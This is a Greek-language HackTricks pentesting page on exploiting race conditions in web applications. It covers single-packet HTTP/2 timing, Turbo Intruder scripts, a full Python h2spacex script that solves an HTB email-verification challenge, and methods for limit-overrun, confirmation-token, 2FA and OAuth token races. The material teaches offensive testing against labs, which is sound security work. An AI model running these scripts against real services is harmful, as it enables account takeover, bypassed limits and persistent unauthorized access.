hacktricks/pentesting-web/race-condition.md

31 KiB
Raw Blame History

Race Condition


Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τη βοήθεια των πιο προηγμένων εργαλείων της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

{% hint style="success" %} Μάθετε και εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε και εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}

{% hint style="warning" %} Για να αποκτήσετε βαθιά κατανόηση αυτής της τεχνικής, ελέγξτε την αρχική αναφορά στο https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Ενίσχυση Επιθέσεων Race Condition

Το κύριο εμπόδιο στην εκμετάλλευση των race conditions είναι η διασφάλιση ότι πολλές αιτήσεις χειρίζονται ταυτόχρονα, με πολύ μικρή διαφορά στους χρόνους επεξεργασίας τους—ιδανικά, λιγότερο από 1ms.

Εδώ μπορείτε να βρείτε μερικές τεχνικές για τη Συγχρονισμό Αιτήσεων:

HTTP/2 Επίθεση Μοναδικού Πακέτου vs. HTTP/1.1 Συγχρονισμός Τελευταίου Byte

  • HTTP/2: Υποστηρίζει την αποστολή δύο αιτήσεων μέσω μιας μόνο σύνδεσης TCP, μειώνοντας την επίδραση του jitter στο δίκτυο. Ωστόσο, λόγω παραλλαγών στην πλευρά του διακομιστή, δύο αιτήσεις μπορεί να μην είναι αρκετές για μια συνεπή εκμετάλλευση race condition.
  • HTTP/1.1 'Συγχρονισμός Τελευταίου Byte': Επιτρέπει την προ-αποστολή των περισσότερων τμημάτων 20-30 αιτήσεων, κρατώντας ένα μικρό κομμάτι, το οποίο αποστέλλεται στη συνέχεια μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον διακομιστή.

Η προετοιμασία για τον Συγχρονισμό Τελευταίου Byte περιλαμβάνει:

  1. Αποστολή κεφαλίδων και δεδομένων σώματος χωρίς το τελικό byte χωρίς να τερματίσετε τη ροή.
  2. Παύση για 100ms μετά την αρχική αποστολή.
  3. Απενεργοποίηση TCP_NODELAY για να χρησιμοποιήσετε τον αλγόριθμο Nagle για την ομαδοποίηση των τελικών πλαισίων.
  4. Ping για να ζεστάνετε τη σύνδεση.

Η επόμενη αποστολή των συγκρατημένων πλαισίων θα πρέπει να έχει ως αποτέλεσμα την άφιξή τους σε ένα μόνο πακέτο, επαληθεύσιμο μέσω του Wireshark. Αυτή η μέθοδος δεν ισχύει για στατικά αρχεία, τα οποία δεν εμπλέκονται συνήθως σε επιθέσεις RC.

Προσαρμογή στην Αρχιτεκτονική Διακομιστή

Η κατανόηση της αρχιτεκτονικής του στόχου είναι κρίσιμη. Οι διακομιστές front-end μπορεί να δρομολογούν τις αιτήσεις διαφορετικά, επηρεάζοντας το χρονοδιάγραμμα. Η προληπτική θέρμανση της σύνδεσης στην πλευρά του διακομιστή, μέσω ασήμαντων αιτήσεων, μπορεί να κανονικοποιήσει το χρονοδιάγραμμα των αιτήσεων.

Διαχείριση Κλειδώματος Βασισμένου σε Συνεδρίες

Frameworks όπως ο χειριστής συνεδριών PHP σειριοποιούν τις αιτήσεις κατά συνεδρία, ενδεχομένως αποκρύπτοντας ευπάθειες. Η χρήση διαφορετικών tokens συνεδρίας για κάθε αίτηση μπορεί να παρακάμψει αυτό το ζήτημα.

Υπερνίκηση Περιορισμών Ρυθμού ή Πόρων

Εάν η θέρμανση της σύνδεσης είναι αναποτελεσματική, η πρόκληση καθυστερήσεων περιορισμού ρυθμού ή πόρων στους διακομιστές ιστού σκόπιμα μέσω πλημμύρας ψεύτικων αιτήσεων μπορεί να διευκολύνει την επίθεση μοναδικού πακέτου προκαλώντας καθυστέρηση στην πλευρά του διακομιστή που ευνοεί τις race conditions.

Παραδείγματα Επιθέσεων

  • Tubo Intruder - Επίθεση HTTP2 μοναδικού πακέτου (1 endpoint): Μπορείτε να στείλετε την αίτηση στο Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), μπορείτε να αλλάξετε στην αίτηση την τιμή που θέλετε να brute force για %s όπως στο csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s και στη συνέχεια να επιλέξετε το examples/race-single-packer-attack.py από την αναπτυσσόμενη λίστα:

Εάν πρόκειται να στείλετε διαφορετικές τιμές, μπορείτε να τροποποιήσετε τον κώδικα με αυτόν που χρησιμοποιεί μια λίστα λέξεων από το clipboard:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Αν ο ιστότοπος δεν υποστηρίζει HTTP2 (μόνο HTTP1.1) χρησιμοποιήστε Engine.THREADED ή Engine.BURP αντί για Engine.BURP2. {% endhint %}

  • Tubo Intruder - HTTP2 επίθεση μεμονωμένου πακέτου (Πολλές τελικές διαδρομές): Σε περίπτωση που χρειαστεί να στείλετε ένα αίτημα σε 1 τελική διαδρομή και στη συνέχεια πολλαπλά σε άλλες τελικές διαδρομές για να ενεργοποιήσετε το RCE, μπορείτε να αλλάξετε το σενάριο race-single-packet-attack.py με κάτι σαν:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Είναι επίσης διαθέσιμο στο Repeater μέσω της νέας επιλογής 'Αποστολή ομάδας παράλληλα' στο Burp Suite.
  • Για limit-overrun μπορείτε απλά να προσθέσετε το ίδιο αίτημα 50 φορές στην ομάδα.
  • Για connection warming, μπορείτε να προσθέσετε στην αρχή της ομάδας κάποια αιτήματα σε κάποιο μη στατικό μέρος του web server.
  • Για delaying τη διαδικασία μεταξύ της επεξεργασίας ενός αιτήματος και ενός άλλου σε 2 υποκαταστάσεις βημάτων, μπορείτε να προσθέσετε επιπλέον αιτήματα μεταξύ και των δύο αιτημάτων.
  • Για ένα multi-endpoint RC μπορείτε να αρχίσετε να στέλνετε το αίτημα που πηγαίνει στην κρυφή κατάσταση και στη συνέχεια 50 αιτήματα αμέσως μετά που εκμεταλλεύονται την κρυφή κατάσταση.
  • Automated python script: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ συνεχώς το επαληθεύει μέχρι να φτάσει το verification token του νέου email στο τελευταίο email (αυτό συμβαίνει επειδή στον κώδικα παρατηρήθηκε μια RC όπου ήταν δυνατό να τροποποιηθεί ένα email αλλά να σταλεί η επαλήθευση στο παλιό επειδή η μεταβλητή που υποδεικνύει το email ήταν ήδη γεμάτη με το πρώτο).
    Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails, γνωρίζουμε ότι λάβαμε το verification token του αλλάγμένου email και τερματίζουμε την επίθεση.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Raw BF

Πριν από την προηγούμενη έρευνα, αυτά ήταν μερικά payloads που χρησιμοποιήθηκαν και απλώς προσπαθούσαν να στείλουν τα πακέτα όσο το δυνατόν πιο γρήγορα για να προκαλέσουν μια RC.

  • Repeater: Δείτε τα παραδείγματα από την προηγούμενη ενότητα.
  • Intruder: Στείλτε το request στον Intruder, ορίστε τον αριθμό νημάτων σε 30 μέσα στο Options menu και επιλέξτε ως payload Null payloads και δημιουργήστε 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

Αυτός είναι ο πιο βασικός τύπος race condition όπου ευπάθειες που εμφανίζονται σε μέρη που περιορίζουν τον αριθμό των φορών που μπορείτε να εκτελέσετε μια ενέργεια. Όπως η χρήση του ίδιου κωδικού έκπτωσης σε ένα διαδικτυακό κατάστημα πολλές φορές. Ένα πολύ εύκολο παράδειγμα μπορεί να βρεθεί σε αυτή την αναφορά ή σε αυτό το σφάλμα.

Υπάρχουν πολλές παραλλαγές αυτού του είδους επίθεσης, συμπεριλαμβανομένων:

  • Εξαργύρωση μιας δωροκάρτας πολλές φορές
  • Αξιολόγηση ενός προϊόντος πολλές φορές
  • Ανάληψη ή μεταφορά χρημάτων πέρα από το υπόλοιπο του λογαριασμού σας
  • Επαναχρησιμοποίηση μιας μόνο λύσης CAPTCHA
  • Παράκαμψη ενός περιορισμού ρυθμού κατά της βίαιης επίθεσης

Hidden substates

Η εκμετάλλευση σύνθετων race conditions συχνά περιλαμβάνει την εκμετάλλευση σύντομων ευκαιριών για αλληλεπίδραση με κρυφές ή μη προγραμματισμένες υποκαταστάσεις μηχανής. Να πώς να προσεγγίσετε αυτό:

  1. Εντοπίστε Πιθανές Κρυφές Υποκαταστάσεις
  • Ξεκινήστε εντοπίζοντας endpoints που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως προφίλ χρηστών ή διαδικασίες επαναφοράς κωδικού πρόσβασης. Επικεντρωθείτε σε:
  • Αποθήκευση: Προτιμήστε endpoints που χειρίζονται μόνιμα δεδομένα server-side σε σχέση με αυτά που χειρίζονται δεδομένα client-side.
  • Ενέργεια: Αναζητήστε λειτουργίες που τροποποιούν υπάρχοντα δεδομένα, οι οποίες είναι πιο πιθανό να δημιουργήσουν εκμεταλλεύσιμες συνθήκες σε σύγκριση με αυτές που προσθέτουν νέα δεδομένα.
  • Κλειδώματα: Οι επιτυχείς επιθέσεις συνήθως περιλαμβάνουν λειτουργίες που βασίζονται στον ίδιο αναγνωριστικό, π.χ., όνομα χρήστη ή token επαναφοράς.
  1. Διεξάγετε Αρχική Δοκιμή
  • Δοκιμάστε τα εντοπισμένα endpoints με επιθέσεις race condition, παρατηρώντας τυχόν αποκλίσεις από τα αναμενόμενα αποτελέσματα. Απροσδόκητες απαντήσεις ή αλλαγές στη συμπεριφορά της εφαρμογής μπορεί να υποδηλώνουν μια ευπάθεια.
  1. Δείξτε την Ευπάθεια
  • Στενέψτε την επίθεση στον ελάχιστο αριθμό αιτημάτων που απαιτούνται για να εκμεταλλευτείτε την ευπάθεια, συχνά μόλις δύο. Αυτό το βήμα μπορεί να απαιτεί πολλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονικής στιγμής που εμπλέκεται.

Χρονικά Ευαίσθητες Επιθέσεις

Η ακρίβεια στο χρονοδιάγραμμα των αιτημάτων μπορεί να αποκαλύψει ευπάθειες, ειδικά όταν χρησιμοποιούνται προβλέψιμες μέθοδοι όπως οι χρονικές σφραγίδες για τα tokens ασφαλείας. Για παράδειγμα, η δημιουργία tokens επαναφοράς κωδικού πρόσβασης με βάση τις χρονικές σφραγίδες θα μπορούσε να επιτρέψει ταυτόσημα tokens για ταυτόχρονες αιτήσεις.

Για να Εκμεταλλευτείτε:

  • Χρησιμοποιήστε ακριβή χρονοδιάγραμμα, όπως μια επίθεση με ένα μόνο πακέτο, για να κάνετε ταυτόχρονες αιτήσεις επαναφοράς κωδικού πρόσβασης. Τα ταυτόσημα tokens υποδηλώνουν μια ευπάθεια.

Παράδειγμα:

  • Ζητήστε δύο tokens επαναφοράς κωδικού πρόσβασης ταυτόχρονα και συγκρίνετέ τα. Τα ταυτοποιημένα tokens υποδηλώνουν ένα σφάλμα στη δημιουργία tokens.

Δείτε αυτό PortSwigger Lab για να το δοκιμάσετε.

Μελέτες Περίπτωσης Κρυφών Υποκαταστάσεων

Πληρωμή & προσθήκη αντικειμένου

Δείτε αυτό το PortSwigger Lab για να δείτε πώς να πληρώσετε σε ένα κατάστημα και να προσθέσετε ένα επιπλέον αντικείμενο που δεν θα χρειαστεί να πληρώσετε γι' αυτό.

Επιβεβαίωση άλλων email

Η ιδέα είναι να επιβεβαιώσετε μια διεύθυνση email και να την αλλάξετε σε μια διαφορετική ταυτόχρονα για να διαπιστώσετε αν η πλατφόρμα επιβεβαιώνει τη νέα που έχει αλλάξει.

Αλλαγή email σε 2 διευθύνσεις email με βάση τα Cookies

Σύμφωνα με αυτή την έρευνα το Gitlab ήταν ευάλωτο σε κατάληψη με αυτόν τον τρόπο επειδή μπορεί να στείλει το token επιβεβαίωσης email μιας διεύθυνσης email στην άλλη διεύθυνση email.

Δείτε αυτό PortSwigger Lab για να το δοκιμάσετε.

Κρυφές Καταστάσεις Βάσης Δεδομένων / Παράκαμψη Επιβεβαίωσης

Εάν χρησιμοποιηθούν 2 διαφορετικές εγγραφές για να προσθέσουν πληροφορίες μέσα σε μια βάση δεδομένων, υπάρχει μια μικρή χρονική περίοδος όπου μόνο τα πρώτα δεδομένα έχουν εγγραφεί μέσα στη βάση δεδομένων. Για παράδειγμα, όταν δημιουργείτε έναν χρήστη, το όνομα χρήστη και τον κωδικό πρόσβασης μπορεί να γραφούν και στη συνέχεια το token για να επιβεβαιωθεί ο νεοδημιουργημένος λογαριασμός γράφεται. Αυτό σημαίνει ότι για μια μικρή χρονική περίοδο το token για την επιβεβαίωση ενός λογαριασμού είναι null.

Επομένως, η εγγραφή ενός λογαριασμού και η αποστολή αρκετών αιτημάτων με ένα κενό token (token= ή token[]= ή οποιαδήποτε άλλη παραλλαγή) για να επιβεβαιώσετε τον λογαριασμό αμέσως θα μπορούσε να επιτρέψει την επιβεβαίωση ενός λογαριασμού όπου δεν ελέγχετε το email.

Δείτε αυτό PortSwigger Lab για να το δοκιμάσετε.

Παράκαμψη 2FA

Ο παρακάτω ψευδοκώδικας είναι ευάλωτος σε race condition επειδή σε πολύ μικρό χρονικό διάστημα η 2FA δεν επιβάλλεται ενώ δημιουργείται η συνεδρία:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 eternal persistence

Υπάρχουν αρκετοί παροχείς OAUth. Αυτές οι υπηρεσίες θα σας επιτρέψουν να δημιουργήσετε μια εφαρμογή και να πιστοποιήσετε χρήστες που έχει καταχωρίσει ο παροχέας. Για να το κάνετε αυτό, ο πελάτης θα χρειαστεί να επιτρέψει στην εφαρμογή σας να έχει πρόσβαση σε ορισμένα από τα δεδομένα τους μέσα στον παροχέα OAUth.
Έτσι, μέχρι εδώ είναι απλώς μια κοινή σύνδεση με google/linkedin/github... όπου σας ζητείται μια σελίδα που λέει: "Η εφαρμογή <InsertCoolName> θέλει να έχει πρόσβαση στις πληροφορίες σας, θέλετε να το επιτρέψετε;"

Race Condition in authorization_code

Το πρόβλημα εμφανίζεται όταν το αποδεχτείτε και αυτόματα στέλνει έναν authorization_code στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η εφαρμογή εκμεταλλεύεται μια Race Condition στον παροχέα υπηρεσιών OAUth για να δημιουργήσει περισσότερα από ένα AT/RT (Authentication Token/Refresh Token) από τον authorization_code για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι έχετε αποδεχτεί την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να δημιουργήσει αρκετούς λογαριασμούς. Στη συνέχεια, αν σταματήσετε να επιτρέπετε στην εφαρμογή να έχει πρόσβαση στα δεδομένα σας, ένα ζευγάρι AT/RT θα διαγραφεί, αλλά τα άλλα θα παραμείνουν έγκυρα.

Race Condition in Refresh Token

Μόλις έχετε αποκτήσει ένα έγκυρο RT, μπορείτε να προσπαθήσετε να το εκμεταλλευτείτε για να δημιουργήσετε αρκετά AT/RT και ακόμα και αν ο χρήστης ακυρώσει τις άδειες για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, αρκετά RT θα παραμείνουν έγκυρα.

RC in WebSockets

Στο WS_RaceCondition_PoC μπορείτε να βρείτε ένα PoC σε Java για να στείλετε μηνύματα websocket σε παράλληλη εκμετάλλευση Race Conditions και σε Web Sockets.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}